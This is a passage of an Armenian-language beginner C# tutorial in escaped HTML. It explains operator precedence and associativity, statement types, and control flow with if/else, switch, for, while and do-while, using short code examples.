&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;true&lt;/span&gt; &lt;span class="p"&gt;||&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;!(&lt;/span&gt;&lt;span class="k"&gt;false&lt;/span&gt; &lt;span class="p"&gt;||&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Արտահայտությունների կառուցման մեջ կարևոր դեր է խաղում &lt;strong&gt;օպերատորների կատարման հերթականությունը&lt;/strong&gt; (&lt;em&gt;operator precedence&lt;/em&gt;)։ Դպրոցական մաթեմատիկայի դասերից հիշում ենք որ մաթեմատիկական արտահայտության մեջ առաջին հերթին կատարվում են բազմապատկման և բաժանման գործողությունները և հետո միայն գումարումն ու հանումը։ C# լեզուն ունի իր սեփական կանոնները, որոնք մասամբ արտացոլում են մաթեմատիկական հերթականությունը։&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;1.0&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="m"&gt;5.0&lt;/span&gt; &lt;span class="p"&gt;/&lt;/span&gt; &lt;span class="m"&gt;2.0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// Առաջին հերթին կատարվում է բաժանումը, հետևաբար result = -1.5&lt;/span&gt;


&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1.0&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="m"&gt;5.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;/&lt;/span&gt; &lt;span class="m"&gt;2.0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
&lt;span class="c1"&gt;// Փակագծերի ներսում գտնվող գործողությունները կատարվում են առաջին հերթին,&lt;/span&gt;
&lt;span class="c1"&gt;// հետևաբար result = -2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Եթե արտահայտության մեջ ներկա են կատարման հավասար կարգով օպերատորներ, հերթականությունը որոշվում է &lt;strong&gt;օպերատորների զուգորդականությամբ&lt;/strong&gt; (&lt;em&gt;operator associativity&lt;/em&gt;)։ Այն կարող է լինել ձախից աջ, կամ աջից ձախ։ Օրինակ, &lt;code&gt;+&lt;/code&gt; օպերատորի զուգորդականությունը ձախից աջ է, այսինքն գործողությունը կատարվում է ձախ օպերանդից "դեպի" աջ օպերանդ։ Վերագրման օպերատորի (&lt;code&gt;=&lt;/code&gt;) դեպքում պատկերն այլ է՝ այն ունի աջից ձախ զուգորդականություն․ այսինքն աջ կողմում գտնվող օպերանդի արժեքը նշանակվում է ձախ կողմում գտնվողին։&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;   &lt;span class="p"&gt;+&lt;/span&gt;   &lt;span class="m"&gt;6&lt;/span&gt;   &lt;span class="p"&gt;+&lt;/span&gt;   &lt;span class="m"&gt;5&lt;/span&gt;   &lt;span class="p"&gt;+&lt;/span&gt;   &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
&lt;span class="c1"&gt;//           1  --&amp;gt;  7  --&amp;gt;  12 --&amp;gt;  13&lt;/span&gt;
&lt;span class="c1"&gt;// result = 13&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;7&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="n"&gt;a&lt;/span&gt;   &lt;span class="p"&gt;=&lt;/span&gt;   &lt;span class="n"&gt;b&lt;/span&gt;   &lt;span class="p"&gt;=&lt;/span&gt;   &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="cm"&gt;/*
7  &amp;lt;--  7  &amp;lt;--  7
a = 7, b = 7, c = 7
*/&lt;/span&gt;

&lt;span class="c1"&gt;// Եթե = օպերատորն ունենար ձախից աջ զուգորդականություն, կկատարվեր հակառակը, &lt;/span&gt;
&lt;span class="c1"&gt;// Բոլոր երեք փոփոխականները կստանային -1 արժեքը &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Հրամաններ (Statements)
&lt;/h3&gt;

&lt;p&gt;Այժմ արդեն ծանոթ ենք արտահայտություններին, կարող ենք անցնել ծրագրերի հիմնական մասնիկներին՝ &lt;strong&gt;հրամաններին&lt;/strong&gt; (&lt;em&gt;statements&lt;/em&gt;)։ Ծրագրում կատարվելիք գործողությունները կոդում ընդունում են հրամանի տեսք։ &lt;/p&gt;

&lt;p&gt;Առանձնացվում են հրամանների մի քանի տեսակներ (որոնց համար C#-ում տրաամդրվում են համապատասխան բանալի բառեր՝ &lt;em&gt;keywords&lt;/em&gt;)։ Այժմ կդիտարկենք դրանցից մի քանիսը&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Հայտարարման հրամաններ&lt;/strong&gt; (&lt;em&gt;declaration statements&lt;/em&gt;) - նախատեսված է նոր փոփոխականների հայտարարման համար,&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Արտահայտությամբ հրամաններ&lt;/strong&gt; (&lt;em&gt;expression statements&lt;/em&gt;) - այս հրամանները պարունակում են արտահայտություններ, որոնց հաշվարկված արժեքը պահվում է փոփոխականում,&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ընտրության հրամաններ&lt;/strong&gt; (&lt;em&gt;selection statements&lt;/em&gt;) - նախատեսված են ծրագրի "ճյուղավորման"՝ որոշակի պայմանների դեպքում տարբեր գործողությունների կատարման համար,&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Կրկնության հրամաններ&lt;/strong&gt; (&lt;em&gt;iteration statements&lt;/em&gt;) - նախատեսված են որոշակի գործողություններ մի քանի անգամ կրկնելու համար։ Կրկնությունները կարելի է սահմանափակել կա՛մ ֆիքսված քանակով, կա՛մ որոշակի պայմանով։&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Հայտարարման հրամաններ (declaration statements)
&lt;/h4&gt;

&lt;p&gt;Ինչպես պարզ է դառնում տվյալ տեսակի անվանումից, այս հրամանները նախատեսած են նոր փոփոխականների հայտարարման համար։ Հրամանում նշում է փոփոխականի տիպը, անվանումը, կարող է նաև նշվել սկզբնական արժեքը&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;country&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"Հայաստան"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Հայտարարում սկզբնական արժեքով&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Հայտարարում առանց սկզբնական արժեքի&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Արտահայտությամբ հրամաններ (expression statements)
&lt;/h4&gt;

&lt;p&gt;Արտահայտությամբ հրամանները բաղկացած են երկու մասից՝&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;արտահայտություն (expression)&lt;/li&gt;
&lt;li&gt;նշանակում (assignment)
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="m"&gt;5&lt;/span&gt; &lt;span class="p"&gt;*&lt;/span&gt; &lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Առկա է արտահայտությունը, բայց ոչ նշանակումը, հետևաբար, սա ճիշտ հրաման չէ &lt;/span&gt;
&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;13&lt;/span&gt;&lt;span class="p"&gt;++&lt;/span&gt; &lt;span class="p"&gt;*&lt;/span&gt; &lt;span class="m"&gt;5&lt;/span&gt; &lt;span class="p"&gt;/&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Արտահայտությամբ հրամանի օրինակ&lt;/span&gt;
&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;check&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="m"&gt;35&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Հնարավոր է հայտարարումը համատեղել արահայությամբ հրամանի հետ&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Ծրագրի կատարման կարգ (Control flow)
&lt;/h3&gt;

&lt;p&gt;Հրամանների տեսակները, որոնք հիմա կուսումնասիրենք հնարավորություն են տալիս փոխել ծրագրի ընթացքն անմիջապես կոդի մեջ, ինչn ինֆորմատիկայում կոչվում է &lt;strong&gt;ծրագրի կատարման կարգ&lt;/strong&gt; (&lt;em&gt;control flow&lt;/em&gt;)։ &lt;br&gt;
Մասնավորապես, այժմ կսովորենք ինչպես կարող է ծրագրի ընթացքը փոխվել կախված ինչ-որ պայմանից և ինչպես կարելի է կրկնել ինչ-որ գործողություն(ներ)՝ ֆիքսված քանակով կամ քանի դեռ չի կատարվել մեր տրված պայմանը։&lt;/p&gt;
&lt;h4&gt;
  
  
  Ընտրության հրամաններ (selection statements)
&lt;/h4&gt;

&lt;p&gt;Ավելի վաղ ծանոթացել էինք բուլյան (&lt;em&gt;boolean&lt;/em&gt;) արժեքներին։ Վերջիններիս հիմնական կիրառություններից է պայմանների ճշմարիտ կամ սխալ արժեքների արտացոլումը, հետագայում ստուգելու նպատակով։ Ընտրության հրամանները հնարավորություն են տալիս ստուգել նման արժեքներ և դրա ճշմարտացիությունից կախված փոխել ծրագրի ընթացքը։ Այս նպատակով օգտագործվում են &lt;code&gt;if&lt;/code&gt; (եթե) և &lt;code&gt;else&lt;/code&gt; (հակառակ դեպքում) բանալի բառերը։&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="c1"&gt;// condition-ը բուլյան փոփոխական է&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;condition&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Այստեղ տեղակայված կոդը կկատարվի միայն եթե փակագծերում տրված պայմանը ճիշտ է&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// ․․․իսկ այստեղինը՝ եթե պայմանը սխալ է&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="cm"&gt;/*
Հնարավոր է բուլյան արժեք վերադարձնող արտահայտությունն ամիջապես տեղադրել 
if-ի փակագծերի մեջ, առանց փոփոխականում պահելու
*/&lt;/span&gt;
&lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;temperature&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;37.5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;temperature&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="m"&gt;36.6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Թույլատրվում է ունենալ if բլոկ, առանց else բլոկի&lt;/span&gt;
    &lt;span class="c1"&gt;// ․․․սակայն else բլոկ առանց if բլոկի՝ ոչ&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Այն դեպքերում երբ մեզ հետաքրքրում են ոչ թե ինչ-որ պայմանի ճիշտ կամ սխալ լինելը, այլ փոփոխականի տարբեր հնարավոր արժեքներ, &lt;code&gt;if&lt;/code&gt;-ի օգտագործումն այդքան էլ օպտիմալ չէ՝&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Ենթադրենք մեր ծրագրում պետք է ստուգվի նետված զառի արժեք&lt;/span&gt;
&lt;span class="c1"&gt;// 6 տարբեր դեպքերի համար if/else համադրությունն այդքան էլ տեղին չէ&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;diceValue&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
&lt;span class="p"&gt;{&lt;/span&gt;   
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;diceValue&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;diceValue&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;diceValue&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="err"&gt;․․․&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Նմանատիպ դեպքերի համար C#-ում նախատեսված են &lt;code&gt;switch&lt;/code&gt; և &lt;code&gt;case&lt;/code&gt; բանալի բառերը։&lt;br&gt;
Զառի օրինակը այս բանալի բառերի օգտագործմամբ կունենա այս տեսքը&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;switch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;diceValue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;// diceValue փոփոխականի արժեքը 1 է&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;// diceValue փոփոխականիարժեքը 2 է&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;// Փոփոխականը չընդունեց տրված արժեքներից ոչ մեկը&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;switch&lt;/code&gt; բանալի բառից հետո փակագծերի ներսում նշվում է այն փոփոխականը, որի արժեքը ստուգվելու է, իսկ &lt;code&gt;case&lt;/code&gt; (դեպք) բանալի բառի միջոցով նշվում են մեզ հետաքրքրող արժեքները և դրանց դեպքում կատարվող գործողությունները։ Ուշադրություն դարձրեք, որ ամեն &lt;code&gt;case&lt;/code&gt;-ի ներսում կատարվող գործողություններից հետո անպայման պետք է տալ &lt;code&gt;break&lt;/code&gt; հրաման, որպեսզի ծրագիրը դուրս գա &lt;code&gt;switch&lt;/code&gt; բլոկից։ Մեր կողմից ծրագրավորված դեպքերի վերջում ավելացվում է &lt;code&gt;default&lt;/code&gt;-ը, որը պարունակում է այն գործողությունները, որոնք կարվեն, եթե փոփոխականը ոչ մի այլ &lt;code&gt;case&lt;/code&gt;-ում տեղ գտած արժեք չի ընդունել։ Զառի օրինակի պարագայում, եթե &lt;code&gt;diceValue&lt;/code&gt; փոփոխականն ընդունի 7 արժեքը, &lt;code&gt;default&lt;/code&gt; դեպքում կարելի է զգուշացնել սխալ (անհնար) արժեքի մասին։&lt;/p&gt;

&lt;p&gt;Որոշ դեպքերում անհրաժեշտ է լինում կատարել նույն գործողությունները մի քանի արժեքների (&lt;code&gt;case&lt;/code&gt;-երի) պարագայում, այդ պարագայում &lt;code&gt;case&lt;/code&gt;-երը կարելի է միավորել հետևյալ կերպ՝&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;switch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;diceValue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;// Փոփոխականի արժեքը 1 է&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;// Այստեղ տեղ գտած կոդը կկատարվի եթե diceValue &lt;/span&gt;
        &lt;span class="c1"&gt;// փոփոխականն ընդունի կա՛մ 2, կա՛մ 3 արժեքը&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Կրկնության հրամաններ (iteration statements)
&lt;/h4&gt;

&lt;p&gt;Ինչպես արդեն նշել էի, կրկնության հրամանները հնարավորություն են տալիս կրկնել որոշակի գործողություններ՝&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ֆիքսված քանակով&lt;/li&gt;
&lt;li&gt;քանի դեռ չի կատարվել որոշակի պայման&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Առաջին դեպքի համար օգտագործվում է &lt;code&gt;for&lt;/code&gt; բանալի բառը, որին հետևում է փակագծերով շրջապատված հետևյալ երեք մասերը՝&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;"հաշվիչ" փոփոխականի հայտարարում,&lt;/li&gt;
&lt;li&gt;այդ փոփոխականի համեմատում մեր տրված արժեքի հետ(ըստ էության սա բուլյան արժեք վերադարձնող արտահայտություն է՝ այսինքն, պայման),&lt;/li&gt;
&lt;li&gt;փոփոխականի փոփոխություն (ավելացում/պակասեցում)։
Սրանք իրարից բաժանվում են &lt;code&gt;;&lt;/code&gt; նշանով։ Այնուհետև &lt;code&gt;{ }&lt;/code&gt; ձևավոր փակագծերի ներսում տրվում են այն գործողությունները, որոնք պետք է կրկնվեն։ Դիտարկենք օրինակ՝
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="c1"&gt;// 1) int i = 0    - հաշվիչ փոփոխականի հայտարարում&lt;/span&gt;
&lt;span class="c1"&gt;// 2) i &amp;lt; 5        - քանակը սահմանափակող պայման&lt;/span&gt;
&lt;span class="c1"&gt;// 3) i++          - փոփոխականի ավելացում&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt; &lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;++)&lt;/span&gt; 
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Այստեղ գրված կոդը կկատարվի 5 անգամ&lt;/span&gt;
    &lt;span class="c1"&gt;// Ամեն անգամ i փոփոխականն ավելացնելով 1-ով&lt;/span&gt;
    &lt;span class="c1"&gt;// Երբ i-ը հավասարվում է 5-ի, 5 &amp;lt; 5 արտահայտությունը վերադարձնում է &lt;/span&gt;
    &lt;span class="c1"&gt;// սխալ արժեք, և ծրագիրը դուրս է գալիս ցիկլից։&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;for&lt;/code&gt; հրամանի կողմից կատարվող գործողությունների հերթականությունը հետևյալն է՝&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;առաջին հերթին, հայտարարել հաշվիչ փոփոխականը&lt;/li&gt;
&lt;li&gt;ստուգել պայմանը&lt;/li&gt;
&lt;li&gt;եթե պայմանը ճշմարիտ է (արտահայտությունը վերադարձնում է ճշմարիտ արժեք), կատարել բլոկի ներսում գտնվող կոդը&lt;/li&gt;
&lt;li&gt;կատարել հաշվիչի փոփոխության հրամանը&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Այժմ դիտարկենք մյուս ցիկլի (կրկնության) հաջորդ հրամանը՝ &lt;code&gt;while&lt;/code&gt;-ը։&lt;br&gt;
Վերջինս ունի ավելի պարզ կառուցվածք՝ &lt;code&gt;while&lt;/code&gt; բանալի բառից հետո փակագծերում տրվում է պայմանը, որը պետք է ստուգվի, այնուհետև ձևավոր փակագծերում՝ կրկնվող գործողությունները։&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;condition&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Այդ կոդը կկրկնվի այնքան ժամանակ, &lt;/span&gt;
    &lt;span class="c1"&gt;// քանի դեռ condition փոփոխականը/արտահայտությունը &lt;/span&gt;
    &lt;span class="c1"&gt;// վերադարձնում է ճշմարիտ (true)արժեք&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Այս տեսակի ցիկլերի տիպիկ օրինակ են վիդեոխաղերը, որոնց հիմնական գործողություններն ըստ էության կատարվում են այսպիսի ցիկլի մեջ՝&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;isPaused&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(!&lt;/span&gt;&lt;span class="n"&gt;isPaused&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// 1) Արտապատկերել խաղային գրաֆիկան&lt;/span&gt;

    &lt;span class="c1"&gt;// 2) Ստանալ խաղացողի հրամանները (օրինակ՝ ստուգել սեղմված կոճակները)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;button&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="s"&gt;"PAUSE"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;isPaused&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// 3) Կատարել փոփոխություններ (օրինակ՝ շարժումներ) խաղային օբյեկտների վրա&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Այս տեսակի ցիկլերը կարող են օգտագործվել երկու ձևով՝ միայն &lt;code&gt;while&lt;/code&gt; հրամանի միջոցով, կամ &lt;code&gt;do&lt;/code&gt;, &lt;code&gt;while&lt;/code&gt; զույգի միջոցով։&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;condition&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;do&lt;/span&gt; 
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;condition&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



